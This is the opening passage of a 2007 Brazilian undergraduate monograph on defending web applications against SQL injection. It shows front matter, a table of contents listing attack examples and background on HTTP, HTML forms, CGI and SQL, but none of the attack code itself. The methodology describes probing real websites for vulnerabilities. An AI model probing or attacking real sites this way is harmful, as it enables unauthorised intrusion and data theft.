FELIPE CALLORI

Transcrição

FELIPE CALLORI
UNIVERSIDADE FEDERAL DE MATO GROSSO
COORDENAÇÃO DE ENSINO DE GRADUAÇÃO EM
CIÊNCIA DA COMPUTAÇÃO
ESTUDO DE TÉCNICAS DE PROTEÇÃO CONTRA
INVASÕES POR SQL INJECTION
FELIPE CALLORI
CUIABÁ – MT
2007
UNIVERSIDADE FEDERAL DE MATO GROSSO
COORDENAÇÃO DE ENSINO DE GRADUAÇÃO EM
CIÊNCIA DA COMPUTAÇÃO
ESTUDO DE TÉCNICAS DE PROTEÇÃO CONTRA
INVASÕES POR SQL INJECTION
FELIPE CALLORI
Orientador: Prof. MSc. JOSÉ DE PAULA NEVES NETO
Monografia apresentada ao Curso de Ciência
da Computação da Universidade Federal de
Mato Grosso, para obtenção do Título de
Bacharel em Ciência da Computação.
CUIABÁ – MT
2007
UNIVERSIDADE FEDERAL DE MATO GROSSO
COORDENAÇÃO DE ENSINO DE GRADUAÇÃO EM
CIÊNCIA DA COMPUTAÇÃO
CERTIFICADO DE APROVAÇÃO
Título: Estudo de técnicas de proteção contra invasões por SQL Injection
Autor: Felipe Callori
Aprovado em 19/03/2007
Prof. MSc. José de Paula Neves Neto
UFMT/ICET/DCC
(Orientador)
Prof. Dra. Patricia Cristiane de Souza
UFMT/ICET/DCC
Prof. Dr. Josiel Maimone de Figueiredo
UFMT/ICET/DCC
DEDICATÓRIA
À minha querida mãe que sempre me apoiou e orientou em todas as minhas decisões.
À memória de meu pai que fez de tudo para garantir meu futuro e de meus irmãos.
À minha namorada pela sua atenção, carinho e apoio.
AGRADECIMENTOS
Ao Prof. José de Paula Neves Neto pela dedicação com que me orientou neste
trabalho de conclusão de curso de Ciência da computação.
SUMÁRIO
LISTA DE CÓDIGOS ............................................................................................................................... 8
LISTA DE FIGURAS.............................................................................................................................. 10
LISTA DE MENSAGENS....................................................................................................................... 11
LISTA DE SIGLAS E ABREVIATURAS............................................................................................. 12
RESUMO.................................................................................................................................................. 14
1. INTRODUÇÃO.................................................................................................................................... 15
1.1 APRESENTAÇÃO ............................................................................................................................... 15
1.2 OBJETIVOS ....................................................................................................................................... 16
1.2.1 Objetivo Geral......................................................................................................................... 16
1.2.2 Objetivos Específicos .............................................................................................................. 16
1.3 JUSTIFICATIVA ................................................................................................................................. 16
1.4 METODOLOGIA ................................................................................................................................ 17
1.5 CRONOGRAMA PROPOSTO ................................................................................................................ 17
1.6 CRONOGRAMA EXECUTADO ............................................................................................................. 18
2. CONTEXTUALIZAÇÃO ................................................................................................................... 19
2.1 HTTP............................................................................................................................................... 19
2.1.1 Método GET ............................................................................................................................ 19
2.1.2 Método POST .......................................................................................................................... 20
2.2 HTML ............................................................................................................................................. 21
2.2.1 Formulários............................................................................................................................. 21
2.3 PROTOCOLO CGI.............................................................................................................................. 22
2.4 A LINGUAGEM SQL ......................................................................................................................... 24
2.4.1 Comandos Básicos da linguagem SQL.................................................................................... 25
2.5 CODE INJECTION .............................................................................................................................. 27
3. SQL INJECTION ................................................................................................................................ 30
3.1 HISTÓRICO SOBRE SQL INJECTION................................................................................................... 30
3.2 O QUE É SQL INJECTION? ................................................................................................................ 32
3.3 FORMAS DE SQL INJECTION............................................................................................................. 34
3.3.1 Manipulação de SQL............................................................................................................... 35
3.3.2 SQL Injection baseado em erros ............................................................................................. 37
3.3.3 Blind SQL Injection ................................................................................................................. 39
4. VULNERABILIDADES EM SISTEMAS ESPECÍFICOS.............................................................. 42
4.1 VULNERABILIDADES EM SQL SERVER ............................................................................................ 42
4.1.1 Ataques em nível de sistema .................................................................................................... 46
4.2 VULNERABILIDADES EM MYSQL.................................................................................................... 47
4.2.1 SELECT e UNION................................................................................................................... 48
4.2.2 Função LOAD FILE................................................................................................................ 50
4.2.3 Atrasos de Tempo e a Função BENCHMARK ........................................................................ 53
4.3 VULNERABILIDADES EM ORACLE .................................................................................................... 55
4.3.1 Injeção de Código ................................................................................................................... 55
4.3.2 Injeção em chamadas de Função ............................................................................................ 57
5. ANATOMIA DE UM ATAQUE......................................................................................................... 60
5.1 O ATAQUE ....................................................................................................................................... 60
5.2 SUGESTÕES PREVENTIVAS ............................................................................................................... 71
6. PRÁTICAS DE PROTEÇÃO ............................................................................................................. 73
6.1 VALIDAÇÃO DE ENTRADAS DO USUÁRIO .......................................................................................... 73
7
6.1.1 Validação com HTML e Javascript......................................................................................... 76
6.2 MENSAGENS DE ERRO ...................................................................................................................... 77
6.3 CONFIGURAÇÕES NO BANCO DE DADOS .......................................................................................... 79
6.4 EXPRESSÕES SQL PREPARADAS E STORED PROCEDURES ................................................................ 81
7. CONCLUSÕES.................................................................................................................................... 84
8. REFERÊNCIAS BIBLIOGRÁFICAS ............................................................................................... 87
ANEXO A - SITE DO MINISTÉRIO DA JUSTIÇA FOI INVADIDO.............................................. 92
8
LISTA DE CÓDIGOS
CÓDIGO 1 - ENVIO DE DADOS PELO MÉTODO GET...................................................................................... 20
CÓDIGO 2 - REPRESENTAÇÃO DE UM FORMULÁRIO HTML ........................................................................ 22
CÓDIGO 3 - SELECIONANDO A TABELA USUARIOS ....................................................................................... 27
CÓDIGO 4 - ATUALIZANDO USUÁRIO .......................................................................................................... 27
CÓDIGO 5 - ESQUEMA DE CONSULTA .......................................................................................................... 35
CÓDIGO 6 - SQL INJETADA ......................................................................................................................... 36
CÓDIGO 7 - COMENTANDO LINHAS ............................................................................................................. 36
CÓDIGO 8 - URL NORMAL .......................................................................................................................... 37
CÓDIGO 9 - URL ATACADA ........................................................................................................................ 37
CÓDIGO 10 - VARIÁVEL PROCESSO ............................................................................................................. 38
CÓDIGO 11 - APAGANDO PROCESSOS.......................................................................................................... 39
CÓDIGO 12 - EXEMPLO DE TIME DELAY ....................................................................................................... 40
CÓDIGO 13 - EXEMPLO DE BLIND INJECTION ............................................................................................... 41
CÓDIGO 14 - ESQUEMA DA TABELA DE USUÁRIOS ...................................................................................... 43
CÓDIGO 15 - CONSULTA POR USUÁRIO ....................................................................................................... 43
CÓDIGO 16 - VARIÁVEL CONSULTA ............................................................................................................ 43
CÓDIGO 17 - VISUALIZAR VERSÃO DO SQL SERVER .................................................................................... 43
CÓDIGO 18 - INJETANDO USUÁRIO NO BD .................................................................................................. 44
CÓDIGO 19 - RECUPERANDO NOME DE USUÁRIO DA TABELA ...................................................................... 44
CÓDIGO 20 - ROUBANDO SENHA DE USUÁRIO ............................................................................................. 45
CÓDIGO 21 - UTILIZAÇÃO DO COMANDO XP_CMDSHELL ............................................................................. 47
CÓDIGO 22 - VERIFICAÇÃO DE USUÁRIO NO BD ......................................................................................... 48
CÓDIGO 23 - URL PARA CONSULTAR CÓDIGO ............................................................................................ 49
CÓDIGO 24 - RETORNANDO VERSÃO DO MYSQL........................................................................................ 49
CÓDIGO 25 - RECUPERANDO DADOS DA TABELA FUNC ............................................................................... 50
CÓDIGO 26 - VENDO CONTEÚDO DO ARQUIVO ........................................................................................... 50
CÓDIGO 27 - RECUPERANDO HASHES DAS SENHAS DE USUÁRIO .................................................................. 51
CÓDIGO 28 - UTILIZANDO HEXADECIMAIS .................................................................................................. 52
CÓDIGO 29 - FAZENDO REQUISIÇÕES COM HEXADECIMAIS ......................................................................... 52
CÓDIGO 30 - VISUALIZANDO OS PRIMEIROS 60 BYTES DO ARQUIVO BOOT.INI .............................................. 52
CÓDIGO 31 - RECUPERANDO OS PRÓXIMOS 60 BYTES DO ARQUIVO BOOT.INI ............................................... 52
CÓDIGO 32 - UTILIZAÇÃO DA FUNÇÃO BENCHMARK ............................................................................... 53
CÓDIGO 33 - EXEMPLO BENCHMARK....................................................................................................... 54
CÓDIGO 34 - EXTRAINDO INFORMAÇÕES COM BENCHMARK ................................................................... 54
CÓDIGO 35 - RECUPERANDO VALORES BIT A BIT ......................................................................................... 54
CÓDIGO 36 - TIPO COMUM DE ATAQUE ....................................................................................................... 56
CÓDIGO 37 - BLOCO PL/SQL...................................................................................................................... 56
CÓDIGO 38 - BLOCO PL/SQL MODIFICADO ................................................................................................. 56
CÓDIGO 39 - EXEMPLO DE EXPRESSÃO SQL............................................................................................... 58
CÓDIGO 40 - EXPRESSÃO SQL MANIPULADA.............................................................................................. 58
CÓDIGO 41 - CRIANDO NOVOS USUÁRIOS ................................................................................................... 59
CÓDIGO 42 - DESCOBRINDO O SEGUNDO USUÁRIO DA APLICAÇÃO ............................................................. 64
CÓDIGO 43 - USANDO A CLÁUSULA UNION NO ATAQUE ............................................................................ 65
CÓDIGO 44 - DESCOBRINDO O NÚMERO DE CAMPOS DA CONSULTA ............................................................ 66
CÓDIGO 45 - NÚMERO CORRETO DE CAMPOS DA CONSULTA ....................................................................... 67
CÓDIGO 46 - URL DE ÁREA ADMINISTRATIVA ............................................................................................ 68
CÓDIGO 47 - DESCOBRINDO O VALOR DO CAMPO USERNAME ...................................................................... 69
CÓDIGO 48 - DESCOBRINDO A SENHA DO ADMINISTRADOR ........................................................................ 69
CÓDIGO 49 – NOME DE USUÁRIO ................................................................................................................ 74
CÓDIGO 50 – LITERAL RESULTANTE ........................................................................................................... 74
CÓDIGO 51 – SENHA MALICIOSA ................................................................................................................ 74
CÓDIGO 52 – PESQUISA FORMADA PELA APLICAÇÃO .................................................................................. 75
CÓDIGO 53 – BURLANDO O COMANDO SELECT......................................................................................... 75
9
CÓDIGO 54 – CONSULTA INSEGURA............................................................................................................ 82
CÓDIGO 55 – CONSULTA SEGURA ............................................................................................................... 82
10
LISTA DE FIGURAS
FIGURA 1 - ESQUEMA DO CGI (ADAPTADO DE BÔAS ET AL, 2001) ............................................................ 23
FIGURA 2 - CICLO DE VIDA DE UM CGI (BÔAS ET AL, 2001) ..................................................................... 24
FIGURA 3 - ESQUEMA DA INJEÇÃO DE SQL (ADAPTADO DE JAVAFREE.ORG, 2003) .............................. 33
FIGURA 4 - ENCONTRANDO CAMPO VULNERÁVEL ...................................................................................... 61
FIGURA 5 - ERRO DE SINTAXE SQL ............................................................................................................ 61
FIGURA 6 - TENTATIVA DE ENTRAR NO SISTEMA ........................................................................................ 62
FIGURA 7 - MENSAGEM DE ERRO NA TENTATIVA DE LOGAR ....................................................................... 63
FIGURA 8 - NOVA TENTATIVA DE ENTRAR NO SISTEMA .............................................................................. 63
FIGURA 9 - SUCESSO EM ENTRAR NO SISTEMA ............................................................................................ 64
FIGURA 10 - SEGUNDO USUÁRIO DA APLICAÇÃO ........................................................................................ 64
FIGURA 11 - ERRO DE TABELA NÃO EXISTENTE .......................................................................................... 65
FIGURA 12 - ERRO NO NÚMERO DE CAMPOS DA CLÁUSULA UNION ........................................................... 66
FIGURA 13 - LOGADO NO SISTEMA UTILIZANDO UNION ............................................................................ 67
FIGURA 14 - ÁREA ADMINISTRATIVA DO SITE ............................................................................................. 68
FIGURA 15 - USERNAME DO ADMINISTRADOR ............................................................................................ 69
FIGURA 16 - SENHA DO ADMINISTRADOR ................................................................................................... 70
FIGURA 17 - TENTATIVA DE ENTRAR NA ÁREA ADMINISTRATIVA ............................................................... 70
FIGURA 18 - PAINEL DA ÁREA ADMINISTRATIVA ........................................................................................ 71
FIGURA 19 - TESTE DE VULNERABILIDADE ................................................................................................. 77
FIGURA 20 - MENSAGEM DE ERRO COM EXCESSO DE INFORMAÇÕES........................................................... 78
11
LISTA DE MENSAGENS
MENSAGEM 1 - ERRO DE SINTAXE GERADO NA APLICAÇÃO ........................................................................ 38
MENSAGEM 2 - VERSÃO DO SQL SERVER.................................................................................................... 44
MENSAGEM 3 - REVELANDO NOME DA TABELA .......................................................................................... 45
MENSAGEM 4 - REVELANDO PRÓXIMO NOME DA TABELA .......................................................................... 45
MENSAGEM 5 - REVELANDO SENHA DO ADMIN .......................................................................................... 46
MENSAGEM 6 - ERRO GERADO PELA CLÁUSULA UNION ............................................................................ 49
12
LISTA DE SIGLAS E ABREVIATURAS
API
Application Program Interface – Interface de aplicação de
programas
ASP
Active Server Page – Páginas de Servidor Ativo
ATH
Against The Hell – Contra o Inferno
BD
Banco de Dados
CGI
Common Gateway Interface – Interface de porta de comunicação
comum
DB2
Database2 – Gerenciador de Banco de dados (Base de dados 2)
DBA
DataBase Administrator – Administrador da Base de Dados
DENATRAN
Departamento Nacional de Trânsito
DOS
Denial Of Service – Negação de Serviço
GHZ
Gigahertz
HTML
Hypertext Markup Language – Linguagem de Marcação de
Hipertexto
HTML
HyperText Markup Language – Linguagem de marcação de
Hipertexto
HTTP
HyperText Transfer Protocol – Protocolo de Transferência de
Hipertexto
IDC
Integrated Database Connector - Conector de Base de Dados
Integradas
IIS
Internet Information Service – Serviço de Informação da Internet
MJ
Ministério da Justiça
NT
New Technology – Nova Tecnologia
ODBC
Open Data Base Conectivity – Conectividade de Banco de Dados
Aberto
PHP
Hypertext PreProcessor – Pré-processador de Hipertexto
PL/SQL
Procedural Language/SQL – Linguagem Procedural/SQL
13
PT
Partido dos Trabalhadores
SQL
Structured Query Language – Linguagem de Consulta Estruturada
URL
Universal Resource Locator – Localizador de Códigos Universal
VBA
Visual Basic Application – Aplicação de Visual Basic
WWW
World Wide Web – Teia do tamanho do mundo
14
RESUMO
A técnica de invasão por SQL Injection atualmente é a forma de ataque mais
realizada contra servidores de banco de dados (BD) na Internet. Pelo menos um site
entre três consultados durante a pesquisa, que se conectam a uma base de dados,
apresentaram vulnerabilidades a esta forma de ataque. Essa técnica se aproveita de
falhas de programação presentes em scripts que realizam conexão com um BD. Essas
falhas permitem que comandos SQL sejam enviados por usuários maliciosos através de
formulários HTML ou URLs e sejam executados diretamente no BD.
A grande maioria dos gerenciadores de banco de dados possui vulnerabilidades
que podem ser aproveitadas por invasores. Como exemplos, podem ser citados o SQL
Server e o Oracle, que possuem centenas de funções e stored procedures nativos que
vêm habilitados por default e constituem ferramentas extremamente úteis a ataques de
injeção de SQL.
Este trabalho realiza um levantamento sobre as características de ataques por
SQL Injection, assim como são demonstradas algumas das principais vulnerabilidades a
esse tipo de ataque, presentes em três dos principais gerenciadores de banco de dados do
mercado (SQL Server, MySQL e Oracle) e propõe os melhores procedimentos a serem
realizados para barrar ataques desta natureza.
Palavras-chave: SQL Injection, invasão, vulnerabilidade, segurança, proteção.
15
1. INTRODUÇÃO
1.1 Apresentação
A revolução da Internet (rede mundial de computadores) nos anos 90,
conseqüência do grande desenvolvimento tecnológico promovido pela Guerra Fria
(guerra psicológica entre Estados Unidos e a União soviética) e a popularização dos
microcomputadores, interconectou praticamente todas as redes de computadores sobre a
terra. A possibilidade de conexão com o mundo todo tornou a Internet um forte meio de
comunicação e informação utilizado por milhões de pessoas. A rede mundial de
computadores passou a ser parte do dia-a-dia dessas pessoas e a ser utilizada para
realizar muitas tarefas importantes, dentre elas: divulgação e venda de produtos e
serviços, armazenar dados importantes para acesso rápido de qualquer localização,
realizar muitos tipos de transações bancárias, dentre outros fatores.
O grande fluxo de informação presente na Internet, principalmente informações
essenciais, a exemplo de informações sigilosas de grandes empresas e dados de contas
bancárias, despertou o interesse de criminosos que passaram a estudar falhas na
implementação de páginas virtuais e a desenvolver técnicas para a invasão das mesmas.
A ação desses criminosos gerou uma grande preocupação para os administradores em
relação à segurança de seus sites, e tornou obrigatório o conhecimento das técnicas de
invasão de sites para implementação da proteção contra as mesmas.
Uma das técnicas mais utilizadas para a invasão de páginas virtuais é
denominada Structured Query Language (SQL) Injection ou Injeção de SQL, um
problema que afeta praticamente todas as linguagens de programação que contenham
uma requisição a um banco de dados (BD) na Internet. A técnica SQL injection é uma
variante do método de invasão chamado Injeção de Código (Code Injection), que
consiste no preenchimento de código malicioso em campos de formulários HTML (tais
como campos de login, pesquisa, senha, dentre outros) para forçar acesso a um banco de
dados, ter acesso a informações restritas ou até mesmo destruir informações de um
servidor web. A Injeção de SQL é aplicada em sites que contenham requisições a um
banco de dados e, utilizando a estrutura da linguagem de banco de dados SQL, se
aproveita de falhas na implementação da requisição ao banco de dados.
16
Apesar de ser uma das técnicas de invasão mais utilizadas, ainda é muito comum
encontrar páginas no Brasil que apresentem vulnerabilidades à Injeção de SQL. Um dos
principais motivos desse grande número de páginas vulneráveis é a falta de abordagem
e até preguiça de programadores em construir procedimentos de segurança nessas
páginas para a validação de dados que fazem a requisição de um banco de dados. A
técnica SQL Injection é difícil de ser erradicada, pois não é uma falha ao nível de
software e sim uma falha ao nível da capacidade de programar.
1.2 Objetivos
1.2.1 Objetivo Geral
O objetivo deste trabalho é justificar porque a técnica de injeção de SQL
funciona e fornecer procedimentos para auxiliar administradores de sistemas para web a
implementar sistemas seguros contra essa vulnerabilidade.
1.2.2 Objetivos Específicos
Os seguintes passos foram seguidos para a realização desse trabalho:
a) Descrever e analisar os principais tipos de ataques realizados por SQL
Injection a páginas da Internet;
b) Mostrar algumas das principais vulnerabilidades em gerenciadores de
banco de dados aproveitadas pelos invasores que utilizam essa técnica;
c) Realizar testes práticos em sites a procura de vulnerabilidades;
d) Propor quais os melhores procedimentos para proteger um site de ataques
por SQL Injection.
1.3 Justificativa
Esse tema foi escolhido pela atualidade do mesmo, a falta de abordagem
existente no Brasil em relação a esse assunto e ao descaso de muitos programadores
com a segurança de seus sites. É muito importante alertar e educar o programador em
relação à segurança de suas aplicações na web contra ataques de criminosos. A Injeção
de Código SQL é muito fácil de ser aplicada e é uma das técnicas mais exploradas na
17
invasão de sites e, através dessa técnica um invasor pode, por exemplo, ter acesso a
áreas restritas de um site, obter privilégios de administrador, destruir informações
importantes, dentre outros fatores agravantes.
O desenvolvimento de sistemas para web relacionados a um banco de dados e a
preocupação com a segurança e integridade desses sistemas também foram pontos
influentes na escolha do tema.
1.4 Metodologia
O trabalho foi desenvolvido a partir do método de pesquisa bibliográfica e
através de método indutivo, utilizando levantamento de dados feitos em testes práticos
realizados em sites. Os testes práticos consistiram em detectar sites vulneráveis à SQL
Injection e, ao final, demonstrar na prática como seria a anatomia de um ataque
realizado em um site vulnerável. Posteriormente foram propostas soluções de proteção
para o mesmo.
Foram utilizados no trabalho códigos SQL padrão, a estrutura de vários
gerenciadores de banco de dados como MySQL, SQL Server e Oracle e a estrutura de
algumas linguagens de programação como PHP, ASP e Java.
1.5 Cronograma Proposto
Etapa 1 - Pesquisa bibliográfica
Consiste da leitura de livros e pesquisa na Internet sobre o tema.
Etapa 2 - Conceitos e ataques
Descrição da técnica SQL Injection, suas formas de ataque e como são realizados os
ataques.
18
Etapa 3 - Defesa do Projeto
Etapa 4 - Vulnerabilidades
Demonstrar algumas das principais vulnerabilidades aproveitadas por invasores em três
dos principais gerenciadores de banco de dados do mercado.
Etapa 5 - Testes Práticos
Detectar sites vulneráveis à SQL Injection e demonstrar a anatomia de um ataque.
Etapa 6 – Métodos para Proteção
Propor métodos para a proteção de sites contra a técnica de Injeção de SQL.
Etapa 7 – Apresentação à banca avaliadora.
1.6 Cronograma executado
O cronograma executado foi muito semelhante ao cronograma proposto no
projeto de monografia. A única etapa em que houve uma mudança significativa foi a
primeira, pois a pesquisa bibliográfica foi utilizada durante praticamente toda a
construção do trabalho final.
19
2. CONTEXTUALIZAÇÃO
Esta seção demonstra alguns dos principais pré-requisitos necessários para o
entendimento de como funciona a técnica de invasão SQL Injection. São demonstrados
o protocolo HTTP e seus principais métodos de envio (GET e POST), a linguagem
HTML e seus formulários, o protocolo CGI, a linguagem SQL e finalmente a técnica de
invasão que deu origem a SQL Injection, a técnica denominada code injection.
2.1 HTTP
Hypertext Transfer Protocol (HTTP) ou Protocolo de Transferência de
Hipertexto é o protocolo responsável pela interação entre o usuário (cliente) e o servidor
World Wide Web (WWW). “O HTTP é a linguagem comum da Internet global
moderna” (GOURLEY et al, 2002).
A forma mais comum de utilização do protocolo HTTP consiste na requisição de
páginas de informação de um servidor pelo usuário. Estas páginas de informação
utilizam a codificação HTML (Seção 2.2) e são “recuperadas” através de Unified
Resource Locators (URLs), que são endereços que podem identificar qualquer fonte
(páginas em HTML, arquivos para download, computadores, servidores web, dentre
outros) localizada na Internet.
Segundo Bôas et al (2001) ao ser solicitada a página pelo cliente o navegador
envia uma solicitação para o servidor web que, quando recebe uma requisição, procura
pela página solicitada e, caso a encontre, envia uma mensagem de confirmação e a
página é visualizada no computador cliente. Porém, segundo Kou & Springstell (1997)
o servidor web é somente um provedor de informações estáticas, sendo assim para obter
suporte a informações dinâmicas é necessário a utilização de outro protocolo,
denominado Common Gateway Interface (CGI) que será abordado na Seção 2.3.
2.1.1 Método GET
O método GET é um dos principais métodos de envio de dados pertencentes ao
protocolo HTTP. Este método é acionado por meio de um formulário HTML através da
diretiva method=get incluída na tag <form>. Segundo Kennedy & Musciano (2002) o
20
método GET permite entrar em contato com o servidor que irá processar os dados do
formulário anexando os dados à diretiva action do formulário, separados por um ponto
de interrogação (?). Esta forma de separação pode ser visualizada no campo de
endereços do navegador do usuário logo após o formulário ter sido enviado. No Código
1 é possível observar um exemplo de envio de dados utilizando o método GET. Todo o
texto localizado antes do sinal de interrogação (?) indica o endereço da aplicação que irá
receber e processar os dados enviados pelo formulário. Após o sinal estão anexados os
dados enviados pelo formulário, no Código 1 estão sendo enviados o nome e senha de
um usuário qualquer à aplicação destino.
http://meusite.com.br/login.php?nome=seunome&senha=123456
Código 1 - Envio de dados pelo método GET
O método GET é um dos métodos pertencentes ao protocolo HTTP mais
utilizados. Seu uso é indicado quando são necessárias transmissões mais velozes,
quando não existe necessidade em manter sigilo dos dados enviados e quando os
campos a serem enviados pelo formulário possuírem um número reduzido de
informações (o método GET possui tamanho limitado a 255 caracteres). “Para uma
melhor performance na transmissão de um formulário, envie pequenos formulários com
poucos e pequenos campos através do método GET” (KENNEDY & MUSCIANO,
2002).
2.1.2 Método POST
Método de envio pertencente ao protocolo HTTP, destinado ao envio de grande
número de informações. O método POST difere do método GET, pois, ao invés de
enviar os dados pela URL, envia os dados em um bloco de informações anexados ao
corpo da mensagem. Neste bloco geralmente são dadas informações como cabeçalhos
extras para descrever o corpo da mensagem, como Content-Type (tipo de dado a que o
conteúdo pertence) e Content-Length (tamanho do conteúdo). O uso mais comum do
método POST consiste em enviar dados através de formulários HTML para scripts ou
programas CGI.
21
Para Kennedy & Musciano (2002) se o assunto é segurança, é melhor escolher
POST, pois o método GET insere os parâmetros diretamente em uma URL, local onde
podem ser facilmente visualizados e capturados. Aplicações POST também possuem
falhas de segurança, mas pelo menos podem contar com a encriptação de seus dados
enquanto os mesmos são transmitidos ao servidor.
2.2 HTML
Hipertext Markup Language ou Linguagem de Marcação de Hipertexto, a
linguagem HTML consiste em uma linguagem de formatação, ou seja, descreve como
será a formatação de um documento. Por esse motivo não é possível programar em
HTML, pois a mesma só oferece opções para formatar textos, inserir imagens, dentre
outras funções.
HTML é a linguagem de codificação utilizada para construir a interface de
páginas que serão exibidas na web. Segundo BÔAS et al (2001) a linguagem HTML
torna possível à construção de uma interface que será visualizada através do navegador.
Através da linguagem HTML é possível construir ambientes amigáveis ao usuário para
que este interaja com a rede mundial.
Para BÔAS et al (2001) a maior importância da linguagem HTML para
programas em CGI está em ser usada como uma forma de coletar e apresentar
informações ao usuário e interagir com ele. A linguagem HTML possui várias
ferramentas, dentre elas os formulários. Os formulários (Seção 2.2.1) são responsáveis
pela integração da linguagem HTML à programação CGI.
2.2.1 Formulários
Os formulários, como ferramentas da linguagem HTML, oferecem um modelo
para a entrada de dados. Os formulários são responsáveis pelo envio dos dados do
usuário ao servidor web. Segundo BÔAS et al (2001) a interface de uma aplicação web
é feita com HTML, no entanto existem dois sentidos para a interface, um que fornece
informações e outro que obtêm dados dele. As informações são fornecidas ao usuário
através dos elementos de formatação básicos da linguagem HTML, mas para atender
22
completamente a estrutura de uma interface de aplicação web sugerida por Bôas et al
(2001) é necessária a utilização de formulários HTML.
Os formulários possuem vários tipos de campos que recebem entradas do
usuário para posterior envio ao servidor web. O corpo de um formulário HTML é
representado no Código 2.
<FORM ACTION=”aplicação destino” METHOD=”método de envio”>
.
. campos para preenchimento (áreas de texto, campos de
. múltipla escolha, dentre outros)
.
</FORM>
Código 2 - Representação de um formulário HTML
As tags (comandos) <form>...</form> representam um formulário, entre elas são
inseridos os campos de preenchimento. Existem vários campos definidos pela
linguagem HTML. Dentro da tag <form> são definidas informações importantes sobre
os dados a serem enviados para que o programa CGI redirecione a aplicação desejada.
O campo action indica o endereço (URL) da aplicação que irá receber e processar as
informações enviadas (geralmente o arquivo CGI que irá processar as informações para
a aplicação final) e o campo method indica o método pelo qual o navegador irá enviar os
dados do usuário ao servidor para serem processados. Para este campo são utilizados os
dois principais métodos de envio pertencentes ao protocolo HTTP: GET e POST.
2.3 Protocolo CGI
“CGI é uma tecnologia que permite a criação de páginas dinâmicas, ou seja,
capazes de fornecer respostas personalizadas de acordo com alguma informação
fornecida pelo usuário” (BÔAS et al, 2001). O protocolo CGI permite a servidores web
solicitarem recursos e aplicações externas. Segundo Kou & Springstell (1997) o
protocolo CGI é uma ponte entre o servidor HTTP, o banco de dados e qualquer outra
fonte de informação.
O protocolo CGI recebe todas as informações coletadas de formulários de
páginas em HTML e pertencentes ao servidor através dos métodos de envio do
protocolo HTTP (GET e POST). As informações são redirecionadas para a aplicação
23
desejada (a exemplo de um banco de dados) e ao receber a resposta o programa CGI
remete a mesma ao cliente geralmente em uma página codificada em HTML, segundo o
esquema ilustrado na Figura 1. Segundo Bôas et al (2001) aplicações CGI podem ser
usadas para tudo o que gera conteúdo dinâmico na web a exemplo de fóruns, livros de
visita, formulários de compra, consulta de estoque, home banking e investimentos na
bolsa de valores.
Figura 1 - Esquema do CGI (adaptado de BÔAS et al, 2001)
O protocolo CGI consiste num conjunto de programas que tornam possível a
comunicação do servidor HTTP com outras aplicações, programas estes chamados de
programas CGI. “[...] um programa CGI sempre é executado no servidor web” (BÔAS
et al, 2001).
Um programa CGI possui um ciclo de vida (Figura 2), que começa quando um
servidor recebe uma requisição que acessa um programa CGI. O servidor então cria um
processo com o programa CGI e passa a ele todas as informações recebidas do cliente.
Quando o programa CGI termina o processamento da resposta, seu processo é encerrado
e o resultado encaminhado ao navegador do usuário que fez a requisição.
24
Figura 2 - Ciclo de vida de um CGI (BÔAS et al, 2001)
2.4 A Linguagem SQL
Structured Query Language (SQL), ou Linguagem de Consulta Estruturada, é
uma linguagem de pesquisa declarativa para bancos de dados relacionais (bases de
dados relacionais). Segundo Taylor (2003, p.21) a primeira coisa necessária para se
entender sobre a linguagem SQL é que ela não é uma linguagem procedural a exemplo
de linguagens como C, Pascal, FORTRAN, dentre outras. SQL não é procedural porque
processa conjuntos de registros, ao invés de um por vez, permitindo ao usuário
manipular tipos complexos de dados.
SQL é utilizada para recuperar informações de um banco de dados através de
consultas ou seleções que informam quais os dados pretendidos.
A SQL é uma
linguagem industrial padronizada (TAYLOR, 2003, p.7) especialmente desenvolvida
para permitir que pessoas criem novas bases de dados, adicionem novos dados, façam a
manutenção e recuperem informações em seus bancos de dados.
Os principais sistemas da web que trabalham em conjunto com um banco de
dados relacional utilizam gerenciadores de banco de dados que utilizam a sintaxe da
25
linguagem SQL. “A linguagem SQL é a ferramenta mais utilizada para a comunicação
com uma base de dados relacional” (TAYLOR, 2003, p.21). Esta linguagem pode ser
utilizada para todas as atividades relativas a um banco de dados podendo ser utilizada
pelo administrador de sistemas web, pelo DataBase Administrator (DBA), por
programadores, por sistemas de suporte à tomada de decisões e por outros usuários
finais.
“A linguagem SQL é uma linguagem com um propósito especial
desenvolvida para a criação e manutenção de dados de uma base de dados
relacional. Embora os desenvolvedores de sistemas para manutenção de
bases relacionais têm suas próprias definições de SQL, um padrão
ISO/ANSI (revisado em 2003) define e controla o que é SQL” (TAYLOR,
2003, p.45).
Quem pretende utilizar os principais bancos de dados do mercado, como Oracle,
Microsoft SQL Server, Sybase, DB/2, MySQL, PostgreSQL, entre outros, deve conhecer
a linguagem SQL.
2.4.1 Comandos Básicos da linguagem SQL
Como seu nome indica, a SQL é uma linguagem de acesso estruturado. Apesar
das diferenças existentes entre suas implementações particulares (SQL Server, Oracle,
MySQL, PostgreSQL, dentre outros), existe um grupo comum de comandos a todas elas
(TAYLOR, 2003, p.45).
De acordo com Racciatti (2002) para se entender como funciona um ataque por
SQL Injection, é necessário ter o conhecimento de pelo menos alguns comandos básicos
da linguagem SQL Padrão (Tabela 1) e suas respectivas cláusulas (Tabela 2), que são
condições de seleção utilizadas para definir os dados que se deseja manipular.
26
Tabela 1 - Comandos básicos da linguagem SQL
Comando
ALTER
CREATE
DELETE
DROP
INSERT
SELECT
UPDATE
Definição
Utilizado para alterar tabelas agregando campos e trocar a definição
de campos.
Utilizado para criar novas tabelas, campos e índices.
Utilizado para apagar registros de uma tabela da base de dados.
Empregado para eliminar tabelas e índices.
Utilizado para inserir dados em uma tabela.
Utilizado para consultar registros de uma base de dados que
satisfaçam um determinado critério.
Utilizado para modificar os valores dos campos e registros
especificados.
Tabela 2 - Cláusulas da linguagem SQL no comando SELECT
Cláusula
FROM
WHERE
GROUP BY
HAVING
ORDER BY
UNION
Definição
Utilizado para especificar a tabela a qual serão selecionados os
objetos.
Utilizado para especificar as condições que devem reunir os
registros que serão selecionados.
Utilizado para separar os registros escolhidos em grupos específicos.
Utilizado para especificar a condição que deve satisfazer cada grupo.
Utilizado para selecionar os registros selecionados de acordo com
uma ordem específica.
Utilizado para unir o resultado de duas consultas em um só
resultado, este comando gera a união de conjuntos.
Além dos comandos e cláusulas, são necessários operadores (Tabela 3) para
realizar operações matemáticas, comparações e expressões booleanas.
27
Tabela 3 - Operadores da linguagem SQL
Operador
>
<
<>
>=
<=
=
AND
OR
BETWEEN
LIKE
IN
Nome
Maior que
Menor que
Diferente de
Maior ou igual a
Menor ou igual a
Igual a
Operador booleano para testar se mais de uma condição é verdadeira
ou falsa
Operador booleano para testar se pelo menos uma das condições é
verdadeira ou falsa.
Utilizado para especificar um intervalo de valores.
